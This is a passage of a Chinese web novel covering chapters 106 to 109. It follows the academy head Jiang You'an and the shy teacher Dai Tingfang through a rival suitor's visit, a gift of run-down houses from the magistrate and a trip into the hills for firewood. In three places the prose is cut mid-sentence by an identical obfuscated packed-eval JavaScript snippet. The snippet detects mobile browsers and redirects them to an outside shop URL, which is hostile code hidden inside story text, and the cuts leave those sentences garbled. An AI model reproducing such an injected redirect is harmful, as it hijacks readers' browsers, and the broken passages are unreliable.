“你以为吓唬吓唬我,我就怕了?你给我等着!”孙南金说完,跑上了大路,往县里跑去。 姜白凤拉着姜佑安的衣袖,不安地问道:“姜院长,要是知县大人让我回去怎么办?” “昨天你是为了救我,才被人看见的。”姜佑安轻抚姜白凤的脑袋,“我不会让他们把你带走的,放心吧。” “嗯。”姜白凤笑着点了点头,“那我去给阮姐姐帮忙去了。” “去吧。”姜佑安笑着说道。 见姜白凤进了院门,围观的孩子都跟着走了进去,门外只剩姜佑安、黎泱泱和戴庭芳三人。 “昨天发生了什么事,还要一个孩子去救你?”黎泱泱问道。 “此事说来话长,不如进去边喝茶边聊?”姜佑安提议道。 黎泱泱笑了笑,“好啊,我还怕今天喝不到姜院长的茶呢。” “怎么会,倒是我还以为你以后都不会再来了呢。”姜佑安把黎泱泱请进了院子,戴庭芳默默跟在后面。 “之前是我的错,没有伤了姜院长的心吧。”黎泱泱说道。 姜佑安让两人在客座坐了,自己拿出杯子来沏茶,先倒了一杯,放在黎泱泱身边的小桌上,“你就那么走了,我怎么会不伤心?” “当时是我情绪太多激动,我向姜院长赔礼道歉。”黎泱泱站起身,向姜佑安行了一礼。 “没关系了。”姜佑安轻轻抬起黎泱泱的胳膊,“你能再来见我,我就挺高兴的了。” 黎泱泱坐了回去,姜佑安又倒了一杯茶,送到戴庭芳身边,嘴里依然在跟他寒暄,“听说黎公子去了定州,不知道当的是什么差?看起来又晒黑了不少啊。” 戴庭芳接过了姜佑安递来的茶,一脸的冷漠。 从刚才在门口到现在,这两人完全无视了他的存在,戴庭芳感觉心里很不舒服。 “也不是什么要职。”黎泱泱满脸带笑,向姜佑安伸出胳膊,“不光皮肤晒黑了,我这身子也结实了不少,姜院长要不要摸一摸?” “咔嚓!”一声,戴庭芳手里的杯子掉在了地上,摔了个粉碎。 106. 心意 “戴老师,你没事吧?”姜佑安走出门去拿扫帚,“还好水不烫,怎么这么不小心?” 戴庭芳站起身来,“对不起,我不是故意的。” “没事,人没伤着就好。”姜佑安一边去拿扫帚一边安慰道:“你不用跟我道歉,这还是你带来的杯子呢。” 戴庭芳从姜佑安手里拿过扫帚和撮箕,清理了地上的残渣,“不打扰你们说话了,我回屋去了。”说罢,他拿着手上的东西,匆匆向外走。 走出门口,姜佑安都没有出言挽留,戴庭芳心情暗淡,去问了阮荷茶杯残片倒在哪儿,出去处理垃圾去了。 回到院子里的时,他听见姜佑安的笑声从堂屋里传来,他把撮箕和扫帚一起放在廊下,脚步放得很慢,想要听清楚两人在里面说了些什么。 有小孩子在院子里跑跳,吵吵嚷嚷的,戴庭芳只能听到零星的几个字,但能听得出来,姜佑安很开心。 也许自己不该打扰她,戴庭芳这样想着,回到了自己的房间。 坐在椅子上,他不断抬头往窗外看,黎泱泱还没有出来,姜佑安要留他吃午饭吗?要留他在这里过夜吗? 戴庭芳手里翻着书,却一个字都看不进去。 上次姜佑安和黎泱泱见面时,黎泱泱说要娶她,她拒绝了,他像是很生气地离开了,今天他又来是什么意思?他还对姜佑安念念不忘? 姜佑安看见黎泱泱时惊喜的表情,在戴庭芳脑海里挥之不去,她很高兴黎泱泱能来找她,她是喜欢黎泱泱的,黎泱泱也喜欢她。 两人是两情相悦的,黎泱泱才会当着自己的面,以开玩笑的口吻,让姜佑安摸一摸他的身子。 自己走后,两个人又说了些什么?姜佑安会不会接着他的话茬往下说?要她摸男人的身子,她肯定不会拒绝的,况且还是她喜欢的男人。 戴庭芳捂着胸口,暗自难过,看到姜佑安和黎泱泱开心地说着话,他想起了端午那天,姜佑安把春幡簪子插到他头上的时候,她灿烂的笑容,还有当时他心动的感觉。 她明媚、阳光,充满干劲,永不服输,她善良勇敢,她身强力壮,她单单是站在那里,就让人觉得安心,黎泱泱这样高大威猛的男人,站在她身边,也是极为相称。 跟黎泱泱相比,他算什么呢?戴庭芳叹了口气,虽然姜佑安说过,她喜欢黎泱泱,也喜欢他,但黎泱泱一出现,她的眼里便只能看得见黎泱泱了。 黎泱泱今天是来做什么的?又来求亲吗?姜佑安会不会改变主意?万一她想离开袁家怎么办?万一她要嫁给黎泱泱怎么办? 自己才刚搬进来,她就要走?她要是离开了这里,自己还能用什么理由去找她?不对,她要是嫁给了别人,自己就再不能去找她了。 戴庭芳心中很是不舍,他要是去求姜佑安的话,她会留下吗?他和黎泱泱站在一起,姜佑安会选择他吗?姜佑安所说的对他的喜欢,是真的吗?如果他能像黎泱泱一样大胆,姜佑安会高兴吗? 戴庭芳站起身来,暗暗拿定了主意,为了留下姜佑安,他要去尝试一下。 如果姜佑安真的想嫁人,那他就去表明心意,让姜佑安在他和黎泱泱之中做出选择,倘若她真的选了黎泱泱,那就再想别的办法。 戴庭芳推开门走出去,一脸庄重地跨过二门,见姜佑安和黎泱泱正冲二门走过来,他赶忙往旁边的游廊里让了让。 “戴老师,你去哪了?”姜佑安问道。 “我回房间了。”戴庭芳低着头,小声说道。 黎泱泱向戴庭芳作了个揖,“戴公子,今日来不及叙旧,还请戴公子见谅,下次我一定请戴公子喝一杯。” 戴庭芳拱手回礼,疏离地回了一句,“黎公子客气了。” 姜佑安把黎泱泱送出大门去,黎泱泱向两人告了别,走上大路往县里去了。 戴庭芳站在姜佑安身旁,怏怏不乐,“黎公子今天来有什么事吗?” “没什么事,他说是专门来看我的。”姜佑安看着黎泱泱的背影,没有要转身回去的意思。 戴庭芳将信将疑,“只是过来看看?他真的没说别的事?” 姜佑安仰着头,闭着眼晒太阳,“那戴老师以为,他此番前来,所为何事?” “上次他来求亲,被你拒绝了,这次前来,肯定还是为这件事吧。”戴庭芳说道。 姜佑安睁开眼,转身往院门走去,“差不多吧,他说他在定州租了房子,让我过去和他同住。” 戴庭芳急切地走到她身边,“你答应了?” 姜佑安停下脚步,眼神玩味地看着戴庭芳,“戴老师觉得我是答应好,还是拒绝好?” 戴庭芳慌忙垂下眼帘,看向地面,“这件事,还得姜院长自己拿主意,不过,你要是走了,袁家这些孩子们怎么办?” “袁竹、阮荷和戴老师在,应该不成问题吧。”姜佑安向戴庭芳走近了一步,紧盯着他的眼睛,轻声问道:“不想让我走的,究竟是孩子们,还是戴老师?” 刚刚在屋内做好的心理建设,此时在姜佑安的目光下已经全面崩塌,戴庭芳不安地舔了舔嘴唇,“当,当然是孩子们,她们都离不开你。” “在这里有吃有喝有书读,我在不在,也没什么关系吧。”姜佑安说道。 戴庭芳抬起头,“有关系!她们这么喜欢你,你忍心就这么抛下她们?” “戴老师。”姜佑安伸手捉住了戴庭芳的手,笑着问道:“你跟我说句实话,你是不是舍不得我走?” 戴庭芳想要抽回手,没想到姜佑安抓得紧紧的,不容他拒绝,他紧张地前后看着,小声央求道:“你,你先放开我。” “这里没有别人,戴老师,你就说句实话给我听听吧,你要是讨厌我,就直说,我保证以后再不跟你开这样的玩笑。”姜佑安说道。 肌肤的接触,让戴庭芳心跳加速,他说不出讨厌,也害怕拒绝她,会把她推到黎泱泱身边去。 “我,不讨厌姜院长。”戴庭芳眼睛看向别处,轻声说道。 “那就好。”姜佑安松开他的手,笑得眼睛弯弯的,“以后不用担心戴老师会生我的气,不肯来教书了。” 戴庭芳向后退了一步,“我离开家,身无分文,除了这里,也无处可去了。” “戴老师的意思是,你不会离开这里?”姜佑安问道。 戴庭芳抬起头,直视着姜佑安的眼睛,“那姜院长你呢?你会离开吗?女子书院可是你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14479910|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手创建的,你真的要抛下这里的一切,跟黎泱泱一起走吗?” “我什么时候说我要走了?”姜佑安笑了笑,转身往院里走去。 外面传来一阵马蹄声,一辆马车停在了大路上,戴庭芳转头看去,见是袁竹从马车上跳下来,后面跟着出来的是程祥,他从马车里拿出一个大包袱,领着走了过来。 姜佑安探头看过去,“袁竹?你怎么和程祥一起回来了?” “半路上遇到的,我就搭了个便车。”袁竹挑着担子往里进,还不忘回头招呼程祥进门。 “程祥,你怎么拿这么大一个包袱?你也要住进来?我们这里可没有房间了。”姜佑安说道。 “不是。”程祥向姜佑安打了招呼,跟着袁竹往里走,“这是夫人托我送过来的,给公子的换洗衣服。” “进门左边第一个房间,直接拿进去就行了。”姜佑安说道。 程祥把包袱放在了戴庭芳的床上,“我娘很伤心吧。”戴庭芳一脸愧疚地问道。 “我把前因后果都跟夫人讲了,夫人说她支持你做的决定,只是希望你不要饿着冻着,能常回去看看她。”程祥说道。 戴庭芳点了点头,“我会的。” “霍静在她房里吗?”程祥向姜佑安问道。 “她和邵老师都在厨房里帮忙呢。”姜佑安说道。 程祥笑了笑,抬脚往外走,“我也去帮忙,中午能不能让我在这里蹭个饭?” “去吧,不会饿着你的。”姜佑安笑着说道。 见程祥走出了房间,戴庭芳坐在床上,解开了包袱,姜佑安去自己屋里拿了个木箱子来,给他装衣服。 包袱里的衣服都叠得整整齐齐,戴庭芳把衣服一件件拿出来,放进了箱子里,“你拒绝了黎公子,这回他没有生气吧。” “没有,他知道我不能离开这里,他说以后有时间再过来看我。”姜佑安说道。 知道姜佑安不会走,戴庭芳稍稍觉得安心了些,包袱里不光有衣服,还有几本书和一个钱袋子,他打开钱袋看了看,留下几块碎银子,把剩下的递给姜佑安。 “这是我娘给我的,我住在这里,没什么要用钱的地方,你拿着用吧。”戴庭芳说道。 姜佑安把钱袋推了回去,“这是令堂给你的,你留着买书吧,我们书院暂时还不缺钱花。” 最近姜佑安确实没有为银子发愁,戴庭芳知道她说的是实话,也就没有再推让,把银子收了起来。 时间接近正午,杨恩和李长风推着车回来了,大家在堂屋里摆了两桌席,热热闹闹地过起了节。 吃过了午饭,大家都去园子里逛着玩去了,园子里的菊花正盛开,虽然种的不多,但搭配着红红黄黄的树叶看,也让人觉得赏心悦目。 大门和门房外面的窗户都关上了,戴庭芳在屋里读书,姜佑安在院子里坐着晒太阳,听着园子传来的孩子的吵闹声,眯着眼睛,想着黎泱泱来时说的那些话。 二门外铁铃铛一阵响,姜佑安起身走出二门去开院门,戴庭芳也从他的房间里走出来,跟在她的身后。 扒开门闩,打开门扇,是捕快曾景阳站在外面,他抱拳行礼道:“姜院长,戴公子,别来无恙啊。” 107. 破屋 戴庭芳作揖行礼,问候道:“曾捕快,别来无恙。” “今天这大过节的,您怎么有空到这里来?”姜佑安笑着问道。 曾景阳也笑了,“知县大人有命,我哪敢不来。” 姜佑安侧身把他往里让,“吃饭了吗?不嫌弃的话,我去给您弄点饭菜吃?” “不用了,我吃过了。”曾景阳随两人走了进去,姜佑安请戴庭芳坐了,正要去沏茶,戴庭芳抢先一步,拿起了茶壶,给两人倒了茶。 “不知道知县大人派您前来,所为何事?”接过茶杯,姜佑安向曾景阳问道。 “昨天霍祭太的案子已经审结,他残害人命、侵吞族产,被判入狱,今天还不断有人到县衙去告状伸冤,能除掉霍祭太这个毒瘤,知县大人说,这都是你们二位的功劳。”曾景阳说道。 “我们本意只是为救霍静而去,也多亏知县大人愿意跑这一趟。”姜佑安说道。 “知县大人提起昨天的事,就觉得心惊,说多亏姜院长的那一箭,才救了大家的性命。”曾景阳的表情略带愧疚,“他一向是支持您开办书院、收养孤儿的,只是县里银钱紧张,一直没办法给您拨银子。” 又是在哭穷,姜佑安端起茶杯,喝了一口茶水,点了点头,“你说的情况,我都清楚。” “不过,知县大人还是想给您的书院提供一点支持。”曾景阳说道。 “什么支持?”戴庭芳问道。 “你们玫瑰田的东边有几间屋子,是原先耕种县田的人建的,现在已经没有人住了,知县大人考虑到您这里的孩子越来越多,房舍可能很快就不够用了,想把那几处空房子给您用,离得不远,来往也方便。”曾景阳说道。 “那太好了。”姜佑安发自内心地笑了出来,“我这里确实缺房间,戴老师住进我们书院来,都没有一个单独的房间给他住,我正为此发愁呢,真是多谢知县大人了。” “姜院长愿意接受就好。”曾景阳从怀里拿出一串钥匙,放在了桌上,“这是那边房子的钥匙,要拆还是要修,都全凭姜院长做主。” “除了钥匙,还有别的什么吗?比如房契之类的。”姜佑安笑着问道。 “那几处房子是属于县里的,不能把房契给您,不过,知县大人说了,您就当那房子是您的,尽管用就是了,不用考虑其他的。”曾景阳说道。 “既然如此,那我就多谢知县大人好意了。”姜佑安说着,向曾景阳行了一礼。 曾景阳回了礼,又向姜佑安和戴庭芳询问了昨天事发的一些细节,还说了姜白凤的父亲有县衙告状,知县没有受理的事,才起身告辞。 姜佑安把曾景阳送出大门外,连声道辛苦,目送他走上大路,渐行渐远,然后回屋拿上了钥匙,往东边的玫瑰花田走去。 戴庭芳跟在她身旁,向她问道:“你要去看房子?” 姜佑安心里高兴,语气也很轻松,“对啊,有了新房子,得规划规划怎么用,你和杨恩住在一起,挺不方便的吧,要是那边有合适的房间,你就可以搬过去了。” “我一个人搬出来?”戴庭芳问道,他没想到刚搬进袁家,姜佑安就想让他搬出来,离得远了,以后肯定就不能经常见面了,他不想搬。 “一个人搬过去,你觉得害怕吗?你还没有一个人住过吧,自己搬过来,还住在山边,确实感觉不太安全,我也没有一个人住过,要是我一个人搬过来,估计也会觉得害怕。”姜佑安自顾自地说道。 戴庭芳确实没有一个人住过,但他不想被姜佑安看扁,逞强着说道:“我不害怕。” “那就好办了,那边我之前去看过,附近都没有人住,肯定比袁家清净得多,你喜欢散步,正好可以来回走走。”姜佑安说道。 “我,我和杨恩一起住也挺好的。”戴庭芳说道。 “怎么可能好,他闲着没事就想锯木头,多影响你读书写字。”姜佑安伸手拍了拍戴庭芳的胳膊,“你跟我实话实话就行,不用想着装客气。” 戴庭芳捂着胳膊,轻笑道:“他很少在屋里锯木头,我说的是实话。” “我聘用了你来当老师,却不能给你一个单独的、安静的房间,我觉得是我这个院长的失职,能从杨恩那里搬出来,我会尽量让你搬的。”姜佑安说道。 “真的不用,他平时挺安静的。”戴庭芳说道。 姜佑安笑了笑,“杨恩的性子是安静些,不过,隔壁的李长风也太好动了,他早晚都要在门口打拳,动不动还要练剑,你还是理他远点好,别伤着你了。” “没事,长风他有分寸的。”戴庭芳说道。 走过了玫瑰花田,两人向右拐进了一条小路,走出没多远,就看见五六间房舍散落在山脚下,每家都有个小院子,用篱笆围了起来,只是时间太久,篱笆已经发霉腐烂了。 “之前来的时候没仔细看,这些房子也太破旧了,还能住人吗?”姜佑安走进了最靠近路边的院子里,用脚踩倒荒草,慢慢往里走。 戴庭芳也过去帮忙,两人踩出一条路来,走到了房屋门口,姜佑安拿着钥匙挨个试,锁已经完全锈住,没有一个钥匙可以捅进去。 姜佑安一生气,把门鼻连同门锁一块从门上扯了下来,把这堆破烂东西扔到一边,“怪不得唐佐舍得给我这么多间屋子,原来都是破屋子!” 戴庭芳推开门,走了进去,姜佑安也跟着进去看了看,没多会儿就把他拽了出去。 姜佑安把他拉回到小路上,才松开了他的袖子,“里面有一股发霉的味道,不能待久了,小心得病。” “嗯。”戴庭芳点了点头。 “这个唐佐,真是抠门,我救了他的命,他就这么报答我!”姜佑安看着那些房子,生气地说道。 “可能知县大人也不知道这些房子破成这样了,他不是小气的人,之前端午节,他办射柳比赛,不是还拿出了一百两银子吗?”戴庭芳说道。 姜佑安踩倒地上的草,从院子边往后走去,“一百两银子也好,这些房屋也好,都是县里的财产,拿出来给别人,他也不心疼,我之前去找他,让他给我的书院捐点钱,他是一个铜板都不舍得。” 戴庭芳走过去,帮她一起踩出条路来,慢慢往深处走着。 “他也就说得好听,这个重要,那个重视,没有一点实际的好处,这些破房子,给别人,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488357|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家都不要,给我还变成谢礼了。”姜佑安不停地抱怨道。 戴庭芳默默听着,仔细地看着脚下的野草,小心地往前走,突然,他看到一旁的草根处有什么在蠕动,一把拉着姜佑安的胳膊就往回跑。 “怎么了?怎么了?”姜佑安一边跑一边问道。 戴庭芳一直跑到大路上,才敢回头看,见没有什么东西追上来,终于松开了姜佑安的胳膊。 姜佑安叉着腰喘气,“怎么了?戴老师,你跑什么?” “有,有蛇!”戴庭芳惊魂未定地说道。 姜佑安吓了一跳,“蛇?哪有蛇?” 戴庭芳一手抚着胸口,一手指向刚刚走过的位置,“就在那里旁边,有一团带花纹的蛇,盘在草根那里。” “还好被你发现了,要不可真不好办。”姜佑安惊叹道。 看着姜佑安惊慌的表情,戴庭芳笑了起来,“原来你也有怕的东西,我还是第一次见到。” “很好笑吗?”姜佑安也笑了,“你不也是慌慌张张跑过来的?” “毒蛇确实可怕,要是被咬了,可就麻烦了。”戴庭芳说道。 姜佑安撸起自己的右边袖子,把自己胳膊上的红印子展示给他看,“我也是第一次知道,原来戴老师这么有力气。” 戴庭芳感到有些不好意思,“我刚才太着急了,不是故意要对你下重手的。” “我知道。”姜佑安笑得很开心,“戴老师是为了救我,是吧?” 看着姜佑安的笑脸,戴庭芳心中蓦然一动,脸上红了起来,他低下头,不发不语。 “这里太危险了,等明天拿了镰刀再来吧,戴老师,咱们回去吧。”姜佑安向袁家走去,戴庭芳跟在她的身后。 姜佑安放慢了步子,走在戴庭芳的身边,“戴老师,就跑了这么几步,你的脸就红成这样,你的身子也太弱了些吧。” 戴庭芳避开了她的视线,转头看着一旁黄澄澄的稻田。 “戴老师,你别生气,我不是在嘲笑你,要不,你跟我一起学学射箭怎么样,我保证能把你练得身强体壮。”姜佑安说道。 戴庭芳回过头来,看了姜佑安一眼,又看向前方的路,轻声应道:“好啊,我跟你学。” “你答应了!”姜佑安开心地笑着,“那我可得慢慢教,不能让戴老师累得拿不起笔来。” 戴庭芳说起稻都黄了,该给孩子们放假的事,两个人一路聊着笑着,回到了袁家。 姜佑安跟袁竹说了花田旁边的房子的事,袁竹也去看了,说修缮修缮倒也能用,不过,现在正是农忙的时候,只能等秋收之后再找人来收拾,姜佑安也同意了。 暂时不用搬出去,孩子们也放假回家了,戴庭芳很高兴,他主动去找姜佑安,说要跟她学射箭,姜佑安却说天凉了,该准备冬天烧的柴火了,先让姜白凤教着,等她回来再说。 见姜佑安不打算亲自教他,戴庭芳瞬间对射箭失去了兴趣,说要跟她一起上山砍柴。 姜佑安走廊里,手上拎着砍刀,上下打量着戴庭芳的身板,摇了摇头,“不行,山里的路不好走,你要是磕了碰了,我这么多学生怎么办?” 108. 上山 “我没那么脆弱,郭英不也经常上山去吗?”戴庭芳说道。 “郭英生活在山边,这山里她比我都熟悉,她去当然可以,你去不行。”姜佑安说道。 “我来这里教了这么久的书,还没有看到山里是什么样子,你就让我跟着你,我去看看山里有什么,肯定不给你添乱。”戴庭芳说道。 “我不是嫌你添乱,是怕你受伤。”姜佑安认真地说道。 戴庭芳低下头,“我会小心的。” 看他委屈巴巴的样子,姜佑安着实有些不忍心,“好吧,你想去看看,那就去吧。” 戴庭芳抬起头来,开心地点了点头。“嗯。” 他怎么能这么可爱?像一只听话的小狗一样,姜佑安真想亲一亲他的脸,不过,这样做肯定会吓得他不敢跟自己出门。 姜佑安忍住了自己的冲动,先去山里,山里什么人都没有,想做什么,还不是都随她? 她兴奋地背起柴火架,拿着砍刀,带着戴庭芳出了院门。 阮荷追出门来,“佑安姐姐,表哥,袁姐姐说今天的花少,中午前就能回来,你们也别在山上多耽误,早点儿回来吃饭。” “好,知道了。”姜佑安挥挥手,往山上走去。 附近的村民都在忙着秋收,山上除了她们两人,再没有其他人了。 姜佑安在前面挥舞着砍刀,戴庭芳小心地跟在后面。 没有像样的路,戴庭芳脚踩着泥土、石块和草茬,走得摇摇晃晃,步履维艰,他尽力维持着身体的平衡,不想在姜佑安身后狼狈地跌倒。 清晨的露水还没有消散,人一走过,树叶草叶上的露珠都沾到人的衣服上,衣服变得潮湿冰凉,脚下的泥土也湿湿的,走着走着,都变成了厚重的泥巴,紧紧黏在鞋上。 戴庭芳觉得双腿渐渐变得沉重起来,每走一步,都格外费力,他的喘息声越来越大,迈步的速度越来越慢。 “还能走吗?要不你就先回去吧。”姜佑安停下来,担心地看着他。 “能。”戴庭芳咬着牙坚持,他来山上是要帮她的忙的,怎么能什么都没做就回去。 姜佑安见前面不远处有一个大石头,她拉着戴庭芳走过去,把柴火架放在地上,“你在这里休息一下,我去附近砍柴。” “我跟你一起去,我可以帮忙。”戴庭芳说道。 “戴老师,我知道你不想白白在袁家住着,一定要帮点儿忙才能安心,不过,我聘请你是来当老师的,不是来当苦力的,你不需要做这些杂活,只要能好好教学生就行了。”姜佑安说道。 “我是一个男人,你能做,我也能做。”戴庭芳坚持道。 “你想跟我比?你要是为了男人可笑的自尊心,把自己折腾病了,耽误了教学生读书,我是不会原谅你的。”姜佑安严肃地说道。 戴庭芳感到有些委屈,自己明明是想帮她,她却说自己可笑,“我是想帮你做点儿,你也能轻松些。” 姜佑安的语气软了下来,“戴老师,我不是在怪你,你看小阮就从来不跟我一起来砍柴,她知道自己砍不动柴,但她可以给我们做饭吃,咱们袁家人,擅长什么就做什么,用不着勉强自己。” 戴庭芳点了点头,“你说得对,我该向表妹学习。” 姜佑安拉着他在石头上坐了,“你说想来山上看看,我才带你来的,你就在这里坐着,看看风景,无聊了就去旁边走走,不用想着干活的事。” “嗯。”戴庭芳又点了点头。 姜佑安拍了拍他的肩膀,拿上绳子和砍刀往更深处走去。 戴庭芳见姜佑安消失在树丛里,心中有些不安,想到她去年这时就经常进山,肯定对山里的情况很熟悉的,应该不会有什么问题。 他坐在石头上,擦了擦额头上的汗,看着远远近近的彩色树叶,心情好了起来。 头顶上的树冠遮着太阳,坐了一会儿之后,他渐渐感觉到一阵阵凉意袭来。 被汗水浸湿的里衣贴在了皮肤上,此时已经变得冰凉,被露水沾湿的外衣不能带来一丝暖意,屁股上面的石头也是冰凉的,秋风轻轻一吹,戴庭芳就忍不住打冷颤。 秋天原来这么冷吗?他无心再看风景,站起身四下走动,搓着双手,活动着身体,看向姜佑安离开的方向。 她什么时候能回来?阮荷让她早点回去,她应该不会耽搁得太久,戴庭芳往里走了走,刚才还能听到姜佑安砍木头的声音,现在已经完全听不到了,她要回来了吗? 戴庭芳往手上呵着气,频繁地跺着脚,满怀希望地向前看着,却迟迟不见姜佑安回来,难道她又往深处去了?一点声音的都听不见,她肯定是走远了。 身体里的热气在一点点流失,脚凉得有些发麻,戴庭芳觉得自己有些撑不住了,待会儿要是晕倒了怎么办?还得麻烦姜佑安把自己带回去。 不行,不能晕倒,他是来帮忙的,没帮上忙就算了,绝不能再给她添麻烦,戴庭芳跑动起来,心里暗暗自责,不强行跟着来就好了,回去要是生病了,她肯定要生气的。 戴庭芳正心神不定之时,树丛里飒飒作响,声音由远及近,他高兴地看过去,果然是姜佑安扛着一捆柴回来了。 “没等着急吧。”姜佑安笑着说道。 “还好。”戴庭芳忙迎上去,想要接过她手里的绳子。 姜佑安侧了侧身,躲开了,“把你的衣襟展开,我有东西给你。” 戴庭芳这时才注意到,她衣襟里装着些鼓鼓囊囊的东西,他依言展开了外衣的衣襟,一手抓着一个角,姜佑安把自己的衣襟撑过去,一松手,一兜子山楂果滚落在了他的衣襟里,红红的,圆滚滚的,煞是可爱。 “这是哪来的?”戴庭芳惊喜地问道。 “山里摘的,等会儿让小阮做山楂球给你吃。”姜佑安把肩上的柴拿下来,困在柴火架上,把柴火架背在身后,“走,下山去。” “嗯。”戴庭芳把衣襟紧紧抓在手里,跟着姜佑安往下走。 下山比上山更难,戴庭芳小心地下脚,慢慢往下挪,姜佑安快步走着,见他落在了后面,等下脚步等他。 “对不起,我不该来的。”走到近旁时,戴庭芳向姜佑安道歉。 “没什么对不起的,你能陪我一起来的,我挺高兴的。”姜佑安向他伸出手,“我扶着你吧。” 戴庭芳觉得身上有些乏力,再逞强也没什么好处,他伸出手,搭在了姜佑安的胳膊上,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493390|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我扶着你走。” 姜佑安把手往回抽,直接抓住了他的手,本来是想占点便宜的,接触到他的皮肤才发现,他的手冰凉,脸色也不太好,“你怎么了?不舒服?” 戴庭芳想收回手,却没有力气,只好让她握着手,红着脸答道:“还好,刚刚觉得有点凉,可能下了山就好了。” 姜佑安两手捂着他的双手,担心问道:“有没有暖和点儿?你不舒服怎么不早说呢?” “我上山的时候没觉得,可能是刚刚出了汗,着凉了。”戴庭芳说道。 姜佑安伸手摸了摸他的额头,又摸了摸他的脸,“肯定是着凉了,赶紧回去,煮点姜汤喝。” 说罢,她一手抓着戴庭芳的手,一手扶着他的胳膊,慢慢往山下去。 有姜佑安在身边扶着他,还给他暖着手,戴庭芳感觉好多了,下山的路也走得轻松了许多。 下了山,姜佑安把身上的柴火卸了下来,在戴庭芳身前蹲下,“上来,我背你回去。” “不用,离得不远了,我能走回去。”戴庭芳说道。 “真的能走?”姜佑安回头看着他,“你不用跟我客气,我背得动你。” “我知道你背得动,我现在好多了,真的能走。”戴庭芳说道。 “行,你不愿意就算了。”姜佑安又把柴火背起来,牵着戴庭芳的手往袁家门口走去。 “姜院长,你松开我吧,让人看见不好。”戴庭芳红着脸说道。 “你都生病了,还管别人看不看?愿意看就看呗,我不牵着你,待会儿你要是晕倒了,我怕来不及去扶。”姜佑安说道。 “我没事了,真的已经好了。”戴庭芳辩解道。 姜佑安回头看了看他通红的脸,“都烧成这样了,还说没事,我看你随时都可能晕过去,别唠叨了,送你回屋了,我就松开。” 姜佑安一路牵着戴庭芳往回走,进了院门就卸下了柴火,拉着他回了屋,把他摁在床上,让他休息,摸到他衣服还有些湿,嘱咐他换了衣服躺下,便去厨房打水去了。 戴庭芳觉得脑子晕乎乎的,心也跳得厉害,可能确实病得不轻,要好好休息休息了。 他把山楂倒在桌上,起身去把装衣服的木箱子打开,找了上衣和裤子放在床上,自己站在床边脱衣服。 姜佑安端着一盆热水走了进来时,他赤裸着上身还没来得及穿衣服。 “来泡泡脚,脚暖和了,身上就热乎了。”姜佑安说道。 戴庭芳慌忙拿衣服遮着身上,“姜院长,我,我在换衣服,你先出去一下。” “出去什么,你快点换,别又着凉了。”姜佑安把水盆放在了床边,走回去关门。 戴庭芳赶忙把衣服穿上,姜佑安回过头来来时,他已经用被子把自己裹上了。 “裤子也换了吗?”姜佑安问道。 “没,我一会儿换,你先出去吧,我自己来就行。”戴庭芳说道。 “你把湿裤子裹在里面,一会儿被子不是也湿了吗?”姜佑安走过去,一把扯过被子扔在床上,伸手就要去解他的裤子。 戴庭芳面红耳赤地抓着她的手,“别!姜院长,你先转过去,我自己来,我自己来就行。” 109. 陪伴 “你自己能行?能站得稳吗?要不要我扶着你?”姜佑安问道。 “不用,我可以,真的可以。”戴庭芳赶忙答道。 “好吧,你小心点儿。”姜佑安松开手,转过身去。 戴庭芳赶忙换了裤子,坐在了床边,脱下鞋袜,把双脚泡在了热水里。 “好了。”戴庭芳红着脸轻声说道。 姜佑安回过头来,见他已经在泡脚了,才放了心,去一旁搬来椅子过来,在近旁坐下,“水温怎么样?烫不烫?” 戴庭芳抬头轻轻笑了一下,“不烫,正合适,谢谢你了。” 他绯红的脸,看起来比早上那时更加可爱了,姜佑安探身过去,用手背摸了摸他的脸,“你脸这么烫,肯定是发烧了,等下我去给你找郎中。” “不用了。”戴庭芳身子往后撤了撤,自己摸了摸额头,“没那么严重,我休息一会就好了。” 姜佑安收回手,站起身给他整理床铺,“行吧,你不想找就不找,赶紧躺下,好好休息。” 戴庭芳擦了脚,缩进了被子里,姜佑安把被子往下扯了扯,“连头都盖上,你不嫌闷吗?” “我没事了,姜院长,你忙你的去吧。”戴庭芳说道。 姜佑安伸手探了探他的脑门,好像确实不热了,才放下心来,端着水盆出去了。 戴庭芳躺在床上,心还是止不住地乱跳,姜佑安总是如此大胆,让他无所适从。 身体暖和起来,戴庭芳渐渐有了睡意,闭上眼睛睡着了,再醒来时,他听见了轻轻的翻书声,转头看过去,只见姜佑安背对着他,正坐在床边的椅子上看书。 戴庭芳就这样静静地看了她许久,姜佑安这个人,初见时只觉得她粗鲁野蛮,如今越相处,越想留在她身边,永远也不离开。 谁会是那个幸运的人,能永远留在她身边呢?能始终站在她身边的那个人,要是自己就好了,戴庭芳感到有些惆怅。 